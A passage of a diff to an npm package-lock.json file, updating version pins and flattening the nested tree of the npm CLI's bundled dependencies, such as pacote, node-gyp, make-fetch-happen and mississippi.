"http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.1", + "lru-cache": "4.1.3", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "4.0.1", + "ssri": "6.0.0" } }, "meant": { "version": "1.0.1", "bundled": true }, + "mem": { + "version": "1.1.0", + "bundled": true, + "requires": { + "mimic-fn": "1.2.0" + } + }, + "mime-db": { + "version": "1.33.0", + "bundled": true + }, + "mime-types": { + "version": "2.1.18", + "bundled": true, + "requires": { + "mime-db": "1.33.0" + } + }, + "mimic-fn": { + "version": "1.2.0", + "bundled": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + } + }, + "minimist": { + "version": "0.0.8", + "bundled": true + }, + "minipass": { + "version": "2.3.3", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2", + "yallist": "3.0.2" + }, + "dependencies": { + "yallist": { + "version": "3.0.2", + "bundled": true + } + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "requires": { + "minipass": "2.3.3" + } + }, "mississippi": { "version": "3.0.0", "bundled": true, "requires": { - "concat-stream": "1.6.1", - "duplexify": "3.5.4", + "concat-stream": "1.6.2", + "duplexify": "3.6.0", "end-of-stream": "1.4.1", - "flush-write-stream": "1.0.2", + "flush-write-stream": "1.0.3", "from2": "2.3.0", "parallel-transform": "1.1.0", "pump": "3.0.0", - "pumpify": "1.4.0", + "pumpify": "1.5.1", "stream-each": "1.2.2", "through2": "2.0.3" - }, - "dependencies": { - "concat-stream": { - "version": "1.6.1", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "typedarray": "0.0.6" - }, - "dependencies": { - "typedarray": { - "version": "0.0.6", - "bundled": true - } - } - }, - "duplexify": { - "version": "3.5.4", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "end-of-stream": { - "version": "1.4.1", - "bundled": true, - "requires": { - "once": "1.4.0" - } - }, - "flush-write-stream": { - "version": "1.0.2", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "from2": { - "version": "2.3.0", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "parallel-transform": { - "version": "1.1.0", - "bundled": true, - "requires": { - "cyclist": "0.2.2", - "inherits": "2.0.3", - "readable-stream": "2.3.6" - }, - "dependencies": { - "cyclist": { - "version": "0.2.2", - "bundled": true - } - } - }, - "pump": { - "version": "3.0.0", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" - } - }, - "pumpify": { - "version": "1.4.0", - "bundled": true, - "requires": { - "duplexify": "3.5.4", - "inherits": "2.0.3", - "pump": "2.0.1" - }, - "dependencies": { - "pump": { - "version": "2.0.1", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" - } - } - } - }, - "stream-each": { - "version": "1.2.2", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "through2": { - "version": "2.0.3", - "bundled": true, - "requires": { - "readable-stream": "2.3.6", - "xtend": "4.0.1" - }, - "dependencies": { - "xtend": { - "version": "4.0.1", - "bundled": true - } - } - } } }, "mkdirp": { @@ -7466,12 +11213,6 @@ "bundled": true, "requires": { "minimist": "0.0.8" - }, - "dependencies": { - "minimist": { - "version": "0.0.8", - "bundled": true - } } }, "move-concurrently": { @@ -7484,85 +11225,43 @@ "mkdirp": "0.5.1", "rimraf": "2.6.2", "run-queue": "1.0.3" - }, - "dependencies": { - "copy-concurrently": { - "version": "1.0.5", - "bundled": true, - "requires": { - "aproba": "1.2.0", - "fs-write-stream-atomic": "1.0.10", - "iferr": "0.1.5", - "mkdirp": "0.5.1", - "rimraf": "2.6.2", - "run-queue": "1.0.3" - } - }, - "run-queue": { - "version": "1.0.3", - "bundled": true, - "requires": { - "aproba": "1.2.0" - } - } + } + }, + "ms": { + "version": "2.1.1", + "bundled": true + }, + "mute-stream": { + "version": "0.0.7", + "bundled": true + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.2", + "safe-buffer": "5.1.2" } }, "node-gyp": { - "version": "3.6.2", + "version": "3.7.0", "bundled": true, "requires": { "fstream": "1.0.11", "glob": "7.1.2", "graceful-fs": "4.1.11", - "minimatch": "3.0.4", "mkdirp": "0.5.1", "nopt": "3.0.6", "npmlog": "4.1.2", "osenv": "0.1.5", - "request": "2.85.0", + "request": "2.81.0", "rimraf": "2.6.2", "semver": "5.3.0", "tar": "2.2.1", - "which": "1.3.0" + "which": "1.3.1" }, "dependencies": { - "fstream": { - "version": "1.0.11", - "bundled": true, - "requires": { - "graceful-fs": "4.1.11", - "inherits": "2.0.3", - "mkdirp": "0.5.1", - "rimraf": "2.6.2" - } - }, - "minimatch": { - "version": "3.0.4", - "bundled": true, - "requires": { - "brace-expansion": "1.1.11" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.11", - "bundled": true, - "requires": { - "balanced-match": "1.0.0", - "concat-map": "0.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "1.0.0", - "bundled": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true - } - } - } - } - }, "nopt": { "version": "3.0.6", "bundled": true, @@ -7581,15 +11280,6 @@ "block-stream": "0.0.9", "fstream": "1.0.11", "inherits": "2.0.3" - }, - "dependencies": { - "block-stream": { - "version": "0.0.9", - "bundled": true, - "requires": { - "inherits": "2.0.3" - } - } } } } @@ -7610,37 +11300,20 @@ "is-builtin-module": "1.0.0", "semver": "5.5.0", "validate-npm-package-license": "3.0.3" - }, - "dependencies": { - "is-builtin-module": { - "version": "1.0.0", - "bundled": true, - "requires": { - "builtin-modules": "1.1.1" - }, - "dependencies": { - "builtin-modules": { - "version": "1.1.1", - "bundled": true - } - } - } } }, "npm-audit-report": { - "version": "1.0.9", + "version": "1.3.1", "bundled": true, "requires": { - "cli-table2": "0.2.0", + "cli-table3": "0.5.0", "console-control-strings": "1.1.0" - }, - "dependencies": { - "console-control-strings": { - "version": "1.1.0", - "bundled": true - } } }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true + }, "npm-cache-filename": { "version": "1.0.2", "bundled": true @@ -7653,29 +11326,23 @@ } }, "npm-lifecycle": { - "version": "2.0.1", + "version": "2.0.3", "bundled": true, "requires": { "byline": "5.0.0", "graceful-fs": "4.1.11", - "node-gyp": "3.6.2", + "node-gyp": "3.7.0", "resolve-from": "4.0.0", "slide": "1.1.6", "uid-number": "0.0.6", "umask": "1.1.0", - "which": "1.3.0" - }, - "dependencies": { - "byline": { - "version": "5.0.0", - "bundled": true - }, - "resolve-from": { - "version": "4.0.0", - "bundled": true - } + "which": "1.3.1" } }, + "npm-logical-tree": { + "version": "1.2.1", + "bundled": true + }, "npm-package-arg": { "version": "6.1.0", "bundled": true, @@ -7692,444 +11359,35 @@ "requires": { "ignore-walk": "3.0.1", "npm-bundled": "1.0.3" - }, - "dependencies": { - "ignore-walk": { - "version": "3.0.1", - "bundled": true, - "requires": { - "minimatch": "3.0.4" - }, - "dependencies": { - "minimatch": { - "version": "3.0.4", - "bundled": true, - "requires": { - "brace-expansion": "1.1.8" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.8", - "bundled": true, - "requires": { - "balanced-match": "1.0.0", - "concat-map": "0.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "1.0.0", - "bundled": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true - } - } - } - } - } - } - }, - "npm-bundled": { - "version": "1.0.3", - "bundled": true - } + } + }, + "npm-pick-manifest": { + "version": "2.1.0", + "bundled": true, + "requires": { + "npm-package-arg": "6.1.0", + "semver": "5.5.0" } }, "npm-profile": { - "version": "3.0.1", + "version": "3.0.2", "bundled": true, "requires": { "aproba": "1.2.0", - "make-fetch-happen": "2.6.0" - }, - "dependencies": { - "make-fetch-happen": { - "version": "2.6.0", - "bundled": true, - "requires": { - "agentkeepalive": "3.3.0", - "cacache": "10.0.4", - "http-cache-semantics": "3.8.1", - "http-proxy-agent": "2.0.0", - "https-proxy-agent": "2.1.1", - "lru-cache": "4.1.2", - "mississippi": "1.3.1", - "node-fetch-npm": "2.0.2", - "promise-retry": "1.1.1", - "socks-proxy-agent": "3.0.1", - "ssri": "5.3.0" - }, - "dependencies": { - "agentkeepalive": { - "version": "3.3.0", - "bundled": true, - "requires": { - "humanize-ms": "1.2.1" - }, - "dependencies": { - "humanize-ms": { - "version": "1.2.1", - "bundled": true, - "requires": { - "ms": "2.1.1" - }, - "dependencies": { - "ms": { - "version": "2.1.1", - "bundled": true - } - } - } - } - }, - "http-cache-semantics": { - "version": "3.8.1", - "bundled": true - }, - "http-proxy-agent": { - "version": "2.0.0", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "debug": "2.6.9" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "debug": { - "version": "2.6.9", - "bundled": true, - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "bundled": true - } - } - } - } - }, - "https-proxy-agent": { - "version": "2.1.1", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "debug": "3.1.0" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "debug": { - "version": "3.1.0", - "bundled": true, - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "bundled": true - } - } - } - } - }, - "mississippi": { - "version": "1.3.1", - "bundled": true, - "requires": { - "concat-stream": "1.6.0", - "duplexify": "3.5.3", - "end-of-stream": "1.4.1", - "flush-write-stream": "1.0.2", - "from2": "2.3.0", - "parallel-transform": "1.1.0", - "pump": "1.0.3", - "pumpify": "1.4.0", - "stream-each": "1.2.2", - "through2": "2.0.3" - }, - "dependencies": { - "concat-stream": { - "version": "1.6.0", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "typedarray": "0.0.6" - }, - "dependencies": { - "typedarray": { - "version": "0.0.6", - "bundled": true - } - } - }, - "duplexify": { - "version": "3.5.3", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "end-of-stream": { - "version": "1.4.1", - "bundled": true, - "requires": { - "once": "1.4.0" - } - }, - "flush-write-stream": { - "version": "1.0.2", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "from2": { - "version": "2.3.0", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "parallel-transform": { - "version": "1.1.0", - "bundled": true, - "requires": { - "cyclist": "0.2.2", - "inherits": "2.0.3", - "readable-stream": "2.3.6" - }, - "dependencies": { - "cyclist": { - "version": "0.2.2", - "bundled": true - } - } - }, - "pump": { - "version": "1.0.3", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" - } - }, - "pumpify": { - "version": "1.4.0", - "bundled": true, - "requires": { - "duplexify": "3.5.3", - "inherits": "2.0.3", - "pump": "2.0.1" - }, - "dependencies": { - "pump": { - "version": "2.0.1", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" - } - } - } - }, - "stream-each": { - "version": "1.2.2", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "through2": { - "version": "2.0.3", - "bundled": true, - "requires": { - "readable-stream": "2.3.6", - "xtend": "4.0.1" - }, - "dependencies": { - "xtend": { - "version": "4.0.1", - "bundled": true - } - } - } - } - }, - "node-fetch-npm": { - "version": "2.0.2", - "bundled": true, - "requires": { - "encoding": "0.1.12", - "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.2" - }, - "dependencies": { - "encoding": { - "version": "0.1.12", - "bundled": true, - "requires": { - "iconv-lite": "0.4.19" - }, - "dependencies": { - "iconv-lite": { - "version": "0.4.19", - "bundled": true - } - } - }, - "json-parse-better-errors": { - "version": "1.0.1", - "bundled": true - } - } - }, - "promise-retry": { - "version": "1.1.1", - "bundled": true, - "requires": { - "err-code": "1.1.2", - "retry": "0.10.1" - }, - "dependencies": { - "err-code": { - "version": "1.1.2", - "bundled": true - }, - "retry": { - "version": "0.10.1", - "bundled": true - } - } - }, - "socks-proxy-agent": { - "version": "3.0.1", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "socks": "1.1.10" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "socks": { - "version": "1.1.10", - "bundled": true, - "requires": { - "ip": "1.1.5", - "smart-buffer": "1.1.15" - }, - "dependencies": { - "ip": { - "version": "1.1.5", - "bundled": true - }, - "smart-buffer": { - "version": "1.1.15", - "bundled": true - } - } - } - } - } - } - } + "make-fetch-happen": "4.0.1" } }, "npm-registry-client": { "version": "8.5.1", "bundled": true, "requires": { - "concat-stream": "1.6.1", + "concat-stream": "1.6.2", "graceful-fs": "4.1.11", "normalize-package-data": "2.4.0", "npm-package-arg": "6.1.0", "npmlog": "4.1.2", "once": "1.4.0", - "request": "2.85.0", + "request": "2.81.0", "retry": "0.10.1", "safe-buffer": "5.1.2", "semver": "5.5.0", @@ -8137,24 +11395,16 @@ "ssri": "5.3.0" }, "dependencies": { - "concat-stream": { - "version": "1.6.1", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "typedarray": "0.0.6" - }, - "dependencies": { - "typedarray": { - "version": "0.0.6", - "bundled": true - } - } - }, "retry": { "version": "0.10.1", "bundled": true + }, + "ssri": { + "version": "5.3.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } } } }, @@ -8164,12 +11414,49 @@ "requires": { "bluebird": "3.5.1", "figgy-pudding": "2.0.1", - "lru-cache": "4.1.2", + "lru-cache": "4.1.3", "make-fetch-happen": "3.0.0", "npm-package-arg": "6.1.0", "safe-buffer": "5.1.2" }, "dependencies": { + "cacache": { + "version": "10.0.4", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "chownr": "1.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.3", + "mississippi": "2.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "5.3.0", + "unique-filename": "1.1.0", + "y18n": "4.0.0" + }, + "dependencies": { + "mississippi": { + "version": "2.0.0", + "bundled": true, + "requires": { + "concat-stream": "1.6.2", + "duplexify": "3.6.0", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.3", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "2.0.1", + "pumpify": "1.5.1", + "stream-each": "1.2.2", + "through2": "2.0.3" + } + } + } + }, "figgy-pudding": { "version": "2.0.1", "bundled": true @@ -8183,235 +11470,58 @@ "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.1.0", "https-proxy-agent": "2.2.1", - "lru-cache": "4.1.2", + "lru-cache": "4.1.3", "mississippi": "3.0.0", "node-fetch-npm": "2.0.2", "promise-retry": "1.1.1", "socks-proxy-agent": "3.0.1", "ssri": "5.3.0" - }, - "dependencies": { - "agentkeepalive": { - "version": "3.4.1", - "bundled": true, - "requires": { - "humanize-ms": "1.2.1" - }, - "dependencies": { - "humanize-ms": { - "version": "1.2.1", - "bundled": true, - "requires": { - "ms": "2.1.1" - }, - "dependencies": { - "ms": { - "version": "2.1.1", - "bundled": true - } - } - } - } - }, - "http-cache-semantics": { - "version": "3.8.1", - "bundled": true - }, - "http-proxy-agent": { - "version": "2.1.0", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "debug": "3.1.0" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "debug": { - "version": "3.1.0", - "bundled": true, - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "bundled": true - } - } - } - } - }, - "https-proxy-agent": { - "version": "2.2.1", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "debug": "3.1.0" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "debug": { - "version": "3.1.0", - "bundled": true, - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "bundled": true - } - } - } - } - }, - "node-fetch-npm": { - "version": "2.0.2", - "bundled": true, - "requires": { - "encoding": "0.1.12", - "json-parse-better-errors": "1.0.2", - "safe-buffer": "5.1.2" - }, - "dependencies": { - "encoding": { - "version": "0.1.12", - "bundled": true, - "requires": { - "iconv-lite": "0.4.21" - }, - "dependencies": { - "iconv-lite": { - "version": "0.4.21", - "bundled": true, - "requires": { - "safer-buffer": "2.1.2" - }, - "dependencies": { - "safer-buffer": { - "version": "2.1.2", - "bundled": true - } - } - } - } - } - } - }, - "promise-retry": { - "version": "1.1.1", - "bundled": true, - "requires": { - "err-code": "1.1.2", - "retry": "0.10.1" - }, - "dependencies": { - "err-code": { - "version": "1.1.2", - "bundled": true - }, - "retry": { - "version": "0.10.1", - "bundled": true - } - } - }, - "socks-proxy-agent": { - "version": "3.0.1", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "socks": "1.1.10" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "socks": { - "version": "1.1.10", - "bundled": true, - "requires": { - "ip": "1.1.5", - "smart-buffer": "1.1.15" - }, - "dependencies": { - "ip": { - "version": "1.1.5", - "bundled": true - }, - "smart-buffer": { - "version": "1.1.15", - "bundled": true - } - } - } - } - } + } + }, + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + } + }, + "ssri": { + "version": "5.3.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" } } } }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "requires": { + "path-key": "2.0.1" + } + }, "npm-user-validate": { "version": "1.0.0", "bundled": true @@ -8424,104 +11534,20 @@ "console-control-strings": "1.1.0", "gauge": "2.7.4", "set-blocking": "2.0.0" - }, - "dependencies": { - "are-we-there-yet": { - "version": "1.1.4", - "bundled": true, - "requires": { - "delegates": "1.0.0", - "readable-stream": "2.3.6" - }, - "dependencies": { - "delegates": { - "version": "1.0.0", - "bundled": true - } - } - }, - "console-control-strings": { - "version": "1.1.0", - "bundled": true - }, - "gauge": { - "version": "2.7.4", - "bundled": true, - "requires": { - "aproba": "1.2.0", - "console-control-strings": "1.1.0", - "has-unicode": "2.0.1", - "object-assign": "4.1.1", - "signal-exit": "3.0.2", - "string-width": "1.0.2", - "strip-ansi": "3.0.1", - "wide-align": "1.1.2" - }, - "dependencies": { - "object-assign": { - "version": "4.1.1", - "bundled": true - }, - "signal-exit": { - "version": "3.0.2", - "bundled": true - }, - "string-width": { - "version": "1.0.2", - "bundled": true, - "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" - }, - "dependencies": { - "code-point-at": { - "version": "1.1.0", - "bundled": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "requires": { - "number-is-nan": "1.0.1" - }, - "dependencies": { - "number-is-nan": { - "version": "1.0.1", - "bundled": true - } - } - } - } - }, - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } - } - }, - "wide-align": { - "version": "1.1.2", - "bundled": true, - "requires": { - "string-width": "1.0.2" - } - } - } - }, - "set-blocking": { - "version": "2.0.0", - "bundled": true - } } }, + "number-is-nan": { + "version": "1.0.1", + "bundled": true + }, + "oauth-sign": { + "version": "0.8.2", + "bundled": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true + }, "once": { "version": "1.4.0", "bundled": true, @@ -8533,35 +11559,75 @@ "version": "1.4.3", "bundled": true }, + "os-homedir": { + "version": "1.0.2", + "bundled": true + }, + "os-locale": { + "version": "2.1.0", + "bundled": true, + "requires": { + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" + } + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true + }, "osenv": { "version": "0.1.5", "bundled": true, "requires": { "os-homedir": "1.0.2", "os-tmpdir": "1.0.2" - }, - "dependencies": { - "os-homedir": { - "version": "1.0.2", - "bundled": true - }, - "os-tmpdir": { - "version": "1.0.2", - "bundled": true - } + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true + }, + "p-limit": { + "version": "1.2.0", + "bundled": true, + "requires": { + "p-try": "1.0.0" + } + }, + "p-locate": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-limit": "1.2.0" + } + }, + "p-try": { + "version": "1.0.0", + "bundled": true + }, + "package-json": { + "version": "4.0.1", + "bundled": true, + "requires": { + "got": "6.7.1", + "registry-auth-token": "3.3.2", + "registry-url": "3.1.0", + "semver": "5.5.0" } }, "pacote": { - "version": "7.6.1", + "version": "8.1.6", "bundled": true, "requires": { "bluebird": "3.5.1", - "cacache": "10.0.4", + "cacache": "11.1.0", "get-stream": "3.0.0", "glob": "7.1.2", - "lru-cache": "4.1.2", - "make-fetch-happen": "2.6.0", + "lru-cache": "4.1.3", + "make-fetch-happen": "4.0.1", "minimatch": "3.0.4", + "minipass": "2.3.3", "mississippi": "3.0.0", "mkdirp": "0.5.1", "normalize-package-data": "2.4.0", @@ -8575,484 +11641,169 @@ "rimraf": "2.6.2", "safe-buffer": "5.1.2", "semver": "5.5.0", - "ssri": "5.3.0", - "tar": "4.4.2", + "ssri": "6.0.0", + "tar": "4.4.4", "unique-filename": "1.1.0", - "which": "1.3.0" - }, - "dependencies": { - "get-stream": { - "version": "3.0.0", - "bundled": true - }, - "make-fetch-happen": { - "version": "2.6.0", - "bundled": true, - "requires": { - "agentkeepalive": "3.4.0", - "cacache": "10.0.4", - "http-cache-semantics": "3.8.1", - "http-proxy-agent": "2.1.0", - "https-proxy-agent": "2.2.0", - "lru-cache": "4.1.2", - "mississippi": "1.3.1", - "node-fetch-npm": "2.0.2", - "promise-retry": "1.1.1", - "socks-proxy-agent": "3.0.1", - "ssri": "5.3.0" - }, - "dependencies": { - "agentkeepalive": { - "version": "3.4.0", - "bundled": true, - "requires": { - "humanize-ms": "1.2.1" - }, - "dependencies": { - "humanize-ms": { - "version": "1.2.1", - "bundled": true, - "requires": { - "ms": "2.1.1" - }, - "dependencies": { - "ms": { - "version": "2.1.1", - "bundled": true - } - } - } - } - }, - "http-cache-semantics": { - "version": "3.8.1", - "bundled": true - }, - "http-proxy-agent": { - "version": "2.1.0", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "debug": "3.1.0" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "debug": { - "version": "3.1.0", - "bundled": true, - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "bundled": true - } - } - } - } - }, - "https-proxy-agent": { - "version": "2.2.0", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "debug": "3.1.0" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "debug": { - "version": "3.1.0", - "bundled": true, - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "bundled": true - } - } - } - } - }, - "mississippi": { - "version": "1.3.1", - "bundled": true, - "requires": { - "concat-stream": "1.6.1", - "duplexify": "3.5.4", - "end-of-stream": "1.4.1", - "flush-write-stream": "1.0.2", - "from2": "2.3.0", - "parallel-transform": "1.1.0", - "pump": "1.0.3", - "pumpify": "1.4.0", - "stream-each": "1.2.2", - "through2": "2.0.3" - }, - "dependencies": { - "concat-stream": { - "version": "1.6.1", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "typedarray": "0.0.6" - }, - "dependencies": { - "typedarray": { - "version": "0.0.6", - "bundled": true - } - } - }, - "duplexify": { - "version": "3.5.4", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "end-of-stream": { - "version": "1.4.1", - "bundled": true, - "requires": { - "once": "1.4.0" - } - }, - "flush-write-stream": { - "version": "1.0.2", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "from2": { - "version": "2.3.0", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "parallel-transform": { - "version": "1.1.0", - "bundled": true, - "requires": { - "cyclist": "0.2.2", - "inherits": "2.0.3", - "readable-stream": "2.3.6" - }, - "dependencies": { - "cyclist": { - "version": "0.2.2", - "bundled": true - } - } - }, - "pump": { - "version": "1.0.3", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" - } - }, - "pumpify": { - "version": "1.4.0", - "bundled": true, - "requires": { - "duplexify": "3.5.4", - "inherits": "2.0.3", - "pump": "2.0.1" - }, - "dependencies": { - "pump": { - "version": "2.0.1", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" - } - } - } - }, - "stream-each": { - "version": "1.2.2", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "through2": { - "version": "2.0.3", - "bundled": true, - "requires": { - "readable-stream": "2.3.6", - "xtend": "4.0.1" - }, - "dependencies": { - "xtend": { - "version": "4.0.1", - "bundled": true - } - } - } - } - }, - "node-fetch-npm": { - "version": "2.0.2", - "bundled": true, - "requires": { - "encoding": "0.1.12", - "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.2" - }, - "dependencies": { - "encoding": { - "version": "0.1.12", - "bundled": true, - "requires": { - "iconv-lite": "0.4.19" - }, - "dependencies": { - "iconv-lite": { - "version": "0.4.19", - "bundled": true - } - } - }, - "json-parse-better-errors": { - "version": "1.0.1", - "bundled": true - } - } - }, - "socks-proxy-agent": { - "version": "3.0.1", - "bundled": true, - "requires": { - "agent-base": "4.2.0", - "socks": "1.1.10" - }, - "dependencies": { - "agent-base": { - "version": "4.2.0", - "bundled": true, - "requires": { - "es6-promisify": "5.0.0" - }, - "dependencies": { - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "requires": { - "es6-promise": "4.2.4" - }, - "dependencies": { - "es6-promise": { - "version": "4.2.4", - "bundled": true - } - } - } - } - }, - "socks": { - "version": "1.1.10", - "bundled": true, - "requires": { - "ip": "1.1.5", - "smart-buffer": "1.1.15" - }, - "dependencies": { - 